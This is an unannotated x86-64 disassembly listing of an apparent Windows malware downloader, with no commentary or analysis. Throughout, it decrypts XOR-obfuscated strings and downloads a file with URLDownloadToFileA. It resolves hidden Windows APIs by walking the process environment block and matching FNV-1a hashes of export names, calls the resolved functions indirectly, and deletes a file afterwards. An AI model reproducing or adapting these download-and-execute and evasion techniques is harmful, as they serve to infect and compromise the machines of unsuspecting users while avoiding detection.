call sub.urlmon.dll_URLDownloadToFileA
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.140074da0
nop
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.1400664a0
mov rbx, rax
lea rax, [rbp + 0x545]
mov qword [rbp + 0xaf0], rax
nop
nop
lea rax, [rbp + 0x546]
lea rdx, [rbp + 0x54f]
mov rcx, rax
call fcn.140005d98
lea rax, [rbp + 0x546]
mov qword [rbp + 0xae8], rax
mov rax, qword [rbp + 0xae8]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x140007acb
lea rax, [rbp + 0x546]
lea rdx, [rbp + 0x546]
mov qword [rbp + 0xae0], rdx
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xad4], 0
jmp 0x140007ac1
mov eax, dword [rbp + 0xad4]
movsxd rdx, eax
mov rax, qword [rbp + 0xad8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xad4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xae0]
mov eax, dword [rbp + 0xad4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xad4], 1
cmp dword [rbp + 0xad4], 8
jle 0x140007a60
nop
lea rdx, [rbp + 0x546]
lea rcx, [rbp + 0x545]
lea rax, [rbp + 0x520]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
mov r8, rdx
lea rdx, [0x140098100]
mov rcx, rax
call fcn.140030a02
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.1400664a0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rbx
mov rdx, rax
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.140074da0
nop
lea rax, [rbp + 0x57a]
lea rdx, [rbp + 0x57f]
mov rcx, rax
call fcn.140005e8c
lea rax, [rbp + 0x57a]
mov qword [rbp + 0xac8], rax
mov rax, qword [rbp + 0xac8]
movzx eax, byte [rax + 4]
test al, al
setne al
test al, al
je 0x140007c27
lea rax, [rbp + 0x57a]
lea rdx, [rbp + 0x57a]
mov qword [rbp + 0xac0], rdx
mov qword [rbp + 0xab8], rax
mov dword [rbp + 0xab4], 0
jmp 0x140007c1d
mov eax, dword [rbp + 0xab4]
movsxd rdx, eax
mov rax, qword [rbp + 0xab8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xab4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xac0]
mov eax, dword [rbp + 0xab4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xab4], 1
cmp dword [rbp + 0xab4], 4
jle 0x140007bbc
nop
lea rbx, [rbp + 0x57a]
lea rax, [rbp + 0x5b6]
mov rcx, rax
call fcn.140005df2
mov qword [rbp + 0x5ae], rax
lea rax, [rbp + 0x5ae]
mov qword [rbp + 0xaa8], rax
mov rax, qword [rbp + 0xaa8]
movzx eax, byte [rax + 7]
test al, al
setne al
test al, al
je 0x140007cfd
lea rax, [rbp + 0x5ae]
lea rdx, [rbp + 0x5ae]
mov qword [rbp + 0xaa0], rdx
mov qword [rbp + 0xa98], rax
mov dword [rbp + 0xa94], 0
jmp 0x140007cf3
mov eax, dword [rbp + 0xa94]
movsxd rdx, eax
mov rax, qword [rbp + 0xa98]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xa94]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xaa0]
mov eax, dword [rbp + 0xa94]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xa94], 1
cmp dword [rbp + 0xa94], 7
jle 0x140007c92
nop
lea rdx, [rbp + 0x5ae]
lea rax, [rbp + 0x580]
lea rcx, [rbp + 0x1d0]
mov r8, rcx
mov rcx, rax
call fcn.14007d950
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x580]
mov r8, rbx
mov rcx, rax
call fcn.14007d770
lea rax, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
lea rdx, [rbp + 0x550]
mov r8, rcx
mov rcx, rax
call fcn.14007d7c0
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400664a0
mov qword [rbp + 0x5b8], rax
mov rax, qword gs:[0x60]
mov qword [rbp + 0xa88], rax
mov rax, qword [rbp + 0xa88]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0xe0], rax
nop
mov rax, qword [rbp + 0xe0]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0xa80], rax
mov rax, qword [rbp + 0xa80]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa80]
mov qword [rbp + 0xa78], rax
mov rax, qword [rbp + 0xa78]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa78]
add rax, rdx
mov rax, qword [rax + 0x88]
mov qword [rbp + 0xb8], rax
mov eax, dword [rbp + 0xb8]
mov edx, eax
mov rax, qword [rbp + 0xa80]
add rax, rdx
mov qword [rbp + 0xd0], rax
mov eax, dword [rbp + 0xbc]
mov dword [rbp + 0xc0], eax
nop
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
cmp rdx, rax
setne al
test al, al
je 0x140007ff8
mov rax, qword [rbp + 0xd0]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xa74], eax
jmp 0x140007fdc
movabs rax, 0x1bb2895ddb1fa9f4
mov qword [rbp + 0xa68], rax
mov rax, qword [rbp + 0xa68]
shr rax, 0x20
mov r8d, eax
mov eax, dword [rbp + 0xa74]
mov dword [rbp + 0xa64], eax
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov eax, dword [rax + 0x20]
mov r9d, eax
mov eax, dword [rbp + 0xa64]
shl rax, 2
add rax, r9
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xa58], rax
mov dword [rbp + 0xa54], r8d
mov eax, dword [rbp + 0xa54]
mov dword [rbp + 0xa50], eax
mov rax, qword [rbp + 0xa58]
lea rdx, [rax + 1]
mov qword [rbp + 0xa58], rdx
movzx eax, byte [rax]
mov byte [rbp + 0xa4f], al
cmp byte [rbp + 0xa4f], 0
jne 0x140007f16
mov eax, dword [rbp + 0xa50]
movabs rsi, 0x1bb2895ddb1fa9f4
mov qword [rbp + 0xa38], rsi
mov rdx, qword [rbp + 0xa38]
jmp 0x140007f4a
movsx eax, byte [rbp + 0xa4f]
mov edx, dword [rbp + 0xa50]
mov dword [rbp + 0xa48], edx
mov byte [rbp + 0xa47], al
movsx eax, byte [rbp + 0xa47]
xor eax, dword [rbp + 0xa48]
imul eax, eax, 0x1000193
mov dword [rbp + 0xa50], eax
jmp 0x140007ed2
cmp eax, edx
sete al
test al, al
je 0x140007fdc
mov eax, dword [rbp + 0xa74]
mov dword [rbp + 0xa34], eax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xa28], rax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xc8]
mov edx, dword [rbp + 0xa34]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0xa20]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xa28]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov rbx, rax
jmp 0x140008029
mov eax, dword [rbp + 0xa74]
lea edx, [rax - 1]
mov dword [rbp + 0xa74], edx
test eax, eax
setne al
test al, al
jne 0x140007e5b
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0xa18], rax
mov rax, qword [rbp + 0xa18]
mov rax, qword [rax]
mov qword [rbp + 0xe0], rax
mov eax, 1
test al, al
jne 0x140007db1
mov ebx, 0
lea rax, [rbp + 0x5b8]
mov rcx, rax
call fcn.14007c280
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400664a0
mov rcx, rax
call sub.msvcrt.dll_remove
mov qword [rbp + 0x168], 0
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5f6]
mov rcx, rax
call fcn.140005ec6
lea rax, [rbp + 0x5c0]
mov qword [rbp + 0xa10], rax
mov rax, qword [rbp + 0xa10]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x140008132
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5c0]
mov qword [rbp + 0xa08], rdx
mov qword [rbp + 0xa00], rax
mov dword [rbp + 0x9fc], 0
jmp 0x140008128
mov eax, dword [rbp + 0x9fc]
movsxd rdx, eax
mov rax, qword [rbp + 0xa00]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x9fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xa08]
mov eax, dword [rbp + 0x9fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x9fc], 1
cmp dword [rbp + 0x9fc], 0x26
jle 0x1400080c7
nop
lea rcx, [rbp + 0x5c0]
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007da30
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400664a0
mov qword [rbp + 0x5f8], rax
mov rax, qword gs:[0x60]
mov qword [rbp + 0x9f0], rax
mov rax, qword [rbp + 0x9f0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x110], rax
nop
mov rax, qword [rbp + 0x110]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x9e8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x9e0], rax
mov rax, qword [rbp + 0x9e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x9e0]
add rax, rdx
mov rax, qword [rax + 0x88]
mov qword [rbp + 0xe8], rax
mov eax, dword [rbp + 0xe8]
mov edx, eax
mov rax, qword [rbp + 0x9e8]
add rax, rdx
mov qword [rbp + 0x100], rax
mov eax, dword [rbp + 0xec]
mov dword [rbp + 0xf0], eax
nop
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0xf8]
cmp rdx, rax
setne al
test al, al
je 0x1400083d6
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x9dc], eax
jmp 0x1400083ba
movabs rax, 0x3a8b8137090b7729
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
shr rax, 0x20
mov r8d, eax
mov eax, dword [rbp + 0x9dc]
mov dword [rbp + 0x9cc], eax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x20]
mov r9d, eax
mov eax, dword [rbp + 0x9cc]
shl rax, 2
add rax, r9
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x9c0], rax
mov dword [rbp + 0x9bc], r8d
mov eax, dword [rbp + 0x9bc]
mov dword [rbp + 0x9b8], eax
mov rax, qword [rbp + 0x9c0]
lea rdx, [rax + 1]
mov qword [rbp + 0x9c0], rdx
movzx eax, byte [rax]
mov byte [rbp + 0x9b7], al
cmp byte [rbp + 0x9b7], 0
jne 0x1400082f4
mov eax, dword [rbp + 0x9b8]
movabs rsi, 0x3a8b8137090b7729
mov qword [rbp + 0x9a0], rsi
mov rdx, qword [rbp + 0x9a0]
jmp 0x140008328
movsx eax, byte [rbp + 0x9b7]
mov edx, dword [rbp + 0x9b8]
mov dword [rbp + 0x9b0], edx
mov byte [rbp + 0x9af], al
movsx eax, byte [rbp + 0x9af]
xor eax, dword [rbp + 0x9b0]
imul eax, eax, 0x1000193
mov dword [rbp + 0x9b8], eax
jmp 0x1400082b0
cmp eax, edx
sete al
test al, al
je 0x1400083ba
mov eax, dword [rbp + 0x9dc]
mov dword [rbp + 0x99c], eax
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x990], rax
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0xf8]
mov edx, dword [rbp + 0x99c]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x988]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x990]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov rbx, rax
jmp 0x140008407
mov eax, dword [rbp + 0x9dc]
lea edx, [rax - 1]
mov dword [rbp + 0x9dc], edx
test eax, eax
setne al
test al, al
jne 0x140008239
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x980]
mov rax, qword [rax]
mov qword [rbp + 0x110], rax
mov eax, 1
test al, al
jne 0x14000818f
mov ebx, 0
lea rax, [rbp + 0x5f8]
mov rcx, rax
call fcn.14007c280
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
mov qword [rbp + 0x168], rax
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.14000199c
lea rax, [rbp + 0x646]
mov qword [rbp + 0x978], rax
nop
nop
lea rax, [rbp + 0x64f]
mov rcx, rax
call fcn.140006010
mov qword [rbp + 0x647], rax
lea rax, [rbp + 0x647]
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
movzx eax, byte [rax + 7]
test al, al
setne al
test al, al
je 0x14000851b
lea rax, [rbp + 0x647]
lea rdx, [rbp + 0x647]
mov qword [rbp + 0x968], rdx
mov qword [rbp + 0x960], rax
mov dword [rbp + 0x95c], 0
jmp 0x140008511
mov eax, dword [rbp + 0x95c]
movsxd rdx, eax
mov rax, qword [rbp + 0x960]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x95c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x968]
mov eax, dword [rbp + 0x95c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x95c], 1
cmp dword [rbp + 0x95c], 7
jle 0x1400084b0
nop
lea rdx, [rbp + 0x647]
lea rcx, [rbp + 0x646]
lea rax, [rbp + 0x620]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
mov r8, rdx
lea rdx, [0x140098100]
mov rcx, rax
call fcn.140030a02
lea rax, [rbp + 0x600]
mov rdx, rax
lea rax, [0x140080080]
mov rcx, rax
call fcn.140074dd0
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.140074da0
nop
lea rax, [rbp + 0x140]
mov rdx, rax
lea rax, [0x1400800a0]
mov rcx, rax
call fcn.140075060
lea rax, [rbp + 0x118]
lea rdx, [0x14000560b]
mov rcx, rax
call fcn.14006e740
lea rax, [rbp + 0x118]
mov rcx, rax
call fcn.140042500
lea rax, [rbp + 0x698]
mov qword [rbp + 0x950], rax
nop
nop
lea rax, [rbp + 0x699]
lea rdx, [rbp + 0x6a6]
mov rcx, rax
call fcn.1400060aa
lea rax, [rbp + 0x699]
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x948]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x1400086b0
lea rax, [rbp + 0x699]
lea rdx, [rbp + 0x699]
mov qword [rbp + 0x940], rdx
mov qword [rbp + 0x938], rax
mov dword [rbp + 0x934], 0
jmp 0x1400086a6
mov eax, dword [rbp + 0x934]
movsxd rdx, eax
mov rax, qword [rbp + 0x938]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x934]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x940]
mov eax, dword [rbp + 0x934]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x934], 1
cmp dword [rbp + 0x934], 0xc
jle 0x140008645
nop
lea rdx, [rbp + 0x699]
lea rcx, [rbp + 0x698]
lea rax, [rbp + 0x670]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x650]
lea rdx, [rbp + 0x670]
mov r8, rdx
lea rdx, [0x140098100]
mov rcx, rax
call fcn.140030a02
lea rdx, [rbp + 0x650]
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.14007d0b0
mov ebx, eax
lea rax, [rbp + 0x650]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x670]
mov rcx, rax
call fcn.140074da0
nop
test bl, bl
je 0x1400091b6
lea rax, [rbp + 0x6f7]
mov qword [rbp + 0x928], rax
nop
nop
lea rax, [rbp + 0x6f8]
lea rdx, [rbp + 0x6ff]
mov rcx, rax
call fcn.140006124
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0x920], rax
mov rax, qword [rbp + 0x920]
movzx eax, byte [rax + 6]
test al, al
setne al
test al, al
je 0x14000880e
lea rax, [rbp + 0x6f8]
lea rdx, [rbp + 0x6f8]
mov qword [rbp + 0x918], rdx
mov qword [rbp + 0x910], rax
mov dword [rbp + 0x90c], 0
jmp 0x140008804
mov eax, dword [rbp + 0x90c]
movsxd rdx, eax
mov rax, qword [rbp + 0x910]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x90c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x918]
mov eax, dword [rbp + 0x90c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x90c], 1
cmp dword [rbp + 0x90c], 6
jle 0x1400087a3
nop
lea rdx, [rbp + 0x6f8]
lea rcx, [rbp + 0x6f7]
lea rax, [rbp + 0x6d0]
mov r8, rcx
mov rcx, rax
call fcn.140074bb0
lea rax, [rbp + 0x6b0]
lea rdx, [rbp + 0x6d0]
mov r8, rdx
lea rdx, [0x140098100]
mov rcx, rax
call fcn.140030a02
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.1400664a0
mov qword [rbp + 0x6a8], rax
mov rax, qword gs:[0x60]
mov qword [rbp + 0x900], rax
mov rax, qword [rbp + 0x900]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x38], rax
nop
mov rax, qword [rbp + 0x38]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x8f8], rax
mov rax, qword [rbp + 0x8f8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x8f8]
mov qword [rbp + 0x8f0], rax
mov rax, qword [rbp + 0x8f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x8f0]
add rax, rdx
mov rax, qword [rax + 0x88]
mov qword [rbp + 0x18], rax
mov eax, dword [rbp + 0x18]
mov edx, eax
mov rax, qword [rbp + 0x8f8]
add rax, rdx
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x1c]
mov dword [rbp + 0x20], eax
nop
mov rdx, qword [rbp + 0x30]
mov rax, qword [rbp + 0x28]
cmp rdx, rax
setne al
test al, al
je 0x140008a95
mov rax, qword [rbp + 0x30]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x8ec], eax
jmp 0x140008a79
movabs rax, 0x915d9cc0321cf26c
mov qword [rbp + 0x8e0], rax
mov rax, qword [rbp + 0x8e0]
shr rax, 0x20
mov r8d, eax
mov eax, dword [rbp + 0x8ec]
mov dword [rbp + 0x8dc], eax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov eax, dword [rax + 0x20]
mov r9d, eax
mov eax, dword [rbp + 0x8dc]
shl rax, 2
add rax, r9
add rax, rcx
mov eax, dword [rax]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x8d0], rax
mov dword [rbp + 0x8cc], r8d
mov eax, dword [rbp + 0x8cc]
mov dword [rbp + 0x8c8], eax
mov rax, qword [rbp + 0x8d0]
lea rdx, [rax + 1]
mov qword [rbp + 0x8d0], rdx
movzx eax, byte [rax]
mov byte [rbp + 0x8c7], al
cmp byte [rbp + 0x8c7], 0
jne 0x1400089c6
mov eax, dword [rbp + 0x8c8]
movabs rsi, 0x915d9cc0321cf26c
mov qword [rbp + 0x8b0], rsi
mov rdx, qword [rbp + 0x8b0]
jmp 0x1400089fa
movsx eax, byte [rbp + 0x8c7]
mov edx, dword [rbp + 0x8c8]
mov dword [rbp + 0x8c0], edx
mov byte [rbp + 0x8bf], al
movsx eax, byte [rbp + 0x8bf]
xor eax, dword [rbp + 0x8c0]
imul eax, eax, 0x1000193
mov dword [rbp + 0x8c8], eax
jmp 0x140008982
cmp eax, edx
sete al
test al, al
je 0x140008a79
mov eax, dword [rbp + 0x8ec]
mov dword [rbp + 0x8ac], eax
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov eax, dword [rax + 0x1c]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x8a0], rax
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov eax, dword [rax + 0x24]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x898], rax
mov rax, qword [rbp + 0x28]
mov edx, dword [rbp + 0x8ac]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x898]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x8a0]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov rsi, rax
jmp 0x140008ac0
mov eax, dword [rbp + 0x8ec]
lea edx, [rax - 1]
mov dword [rbp + 0x8ec], edx
test eax, eax
setne al
test al, al
jne 0x140008914
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x890], rax
mov rax, qword [rbp + 0x890]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, 1
test al, al
jne 0x140008888
mov esi, 0
lea rax, [rbp + 0x6a8]
mov rcx, rax
call fcn.14007c280
mov rbx, qword [rax]
lea rax, [rbp + 0x168]
mov rcx, rax
call fcn.14007c570
mov rax, qword [rax]
mov rdx, rbx
mov rcx, rax
call rsi
nop
mov qword [rbp + 0xdd8], rax
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.140074da0
nop
mov ecx, 0x20
call sub.libstdc_6.dll_operator_new___unsigned_long_long_
mov qword [rbp + 0xdd0], rax
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x715]
mov rcx, rax
call fcn.14000616e
lea rax, [rbp + 0x700]
mov qword [rbp + 0x888], rax
mov rax, qword [rbp + 0x888]
movzx eax, byte [rax + 0x12]
test al, al
setne al
test al, al
je 0x140008bf3
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x700]
mov qword [rbp + 0x880], rdx
mov qword [rbp + 0x878], rax
mov dword [rbp + 0x874], 0
jmp 0x140008be9
mov eax, dword [rbp + 0x874]
movsxd rdx, eax
mov rax, qword [rbp + 0x878]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x874]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x880]
mov eax, dword [rbp + 0x874]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x12
jle 0x140008b88
nop
lea rdx, [rbp + 0x700]
lea rax, [rbp - 0x50]
lea rcx, [rbp + 0x190]
mov r8, rcx
mov rcx, rax
call fcn.14007d950
lea rax, [rbp + 0x716]
lea rdx, [rbp + 0x71f]
mov rcx, rax
call fcn.1400062d2
lea rax, [rbp + 0x716]
mov qword [rbp + 0x868], rax
mov rax, qword [rbp + 0x868]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x140008cdf
lea rax, [rbp + 0x716]
lea rdx, [rbp + 0x716]
mov qword [rbp + 0x860], rdx
mov qword [rbp + 0x858], rax
mov dword [rbp + 0x854], 0
jmp 0x140008cd5
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x858]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x860]
mov eax, dword [rbp + 0x854]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 8
jle 0x140008c74
nop
lea rbx, [rbp + 0x716]
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x75f]
mov rcx, rax
call fcn.140006218
lea rax, [rbp + 0x740]
mov qword [rbp + 0x848], rax
mov rax, qword [rbp + 0x848]
movzx eax, byte [rax + 0x14]
test al, al
setne al
test al, al
je 0x140008db5
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x740]
mov qword [rbp + 0x840], rdx
mov qword [rbp + 0x838], rax
mov dword [rbp + 0x834], 0
jmp 0x140008dab
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x838]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x39
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x840]
mov eax, dword [rbp + 0x834]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x14
jle 0x140008d4a
nop
lea rdx, [rbp + 0x740]
lea rax, [rbp + 0x720]
lea rcx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call fcn.14007d950
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x720]
mov r8, rbx
mov rcx, rax
call fcn.14007d770
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.140074da0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140073b30
mov rdx, qword [rbp + 0xdd0]
mov qword [rdx], rax
mov rax, qword [rbp + 0xdd0]
lea rbx, [rax + 0x10]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140073b30
mov qword [rbx], rax
mov dword [rbp + 0x40], 0x10008
mov dword [rbp + 0x44], 2
mov rax, qword [rbp + 0xdd0]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x50], 0
mov r9, qword [rbp + 0xdd8]
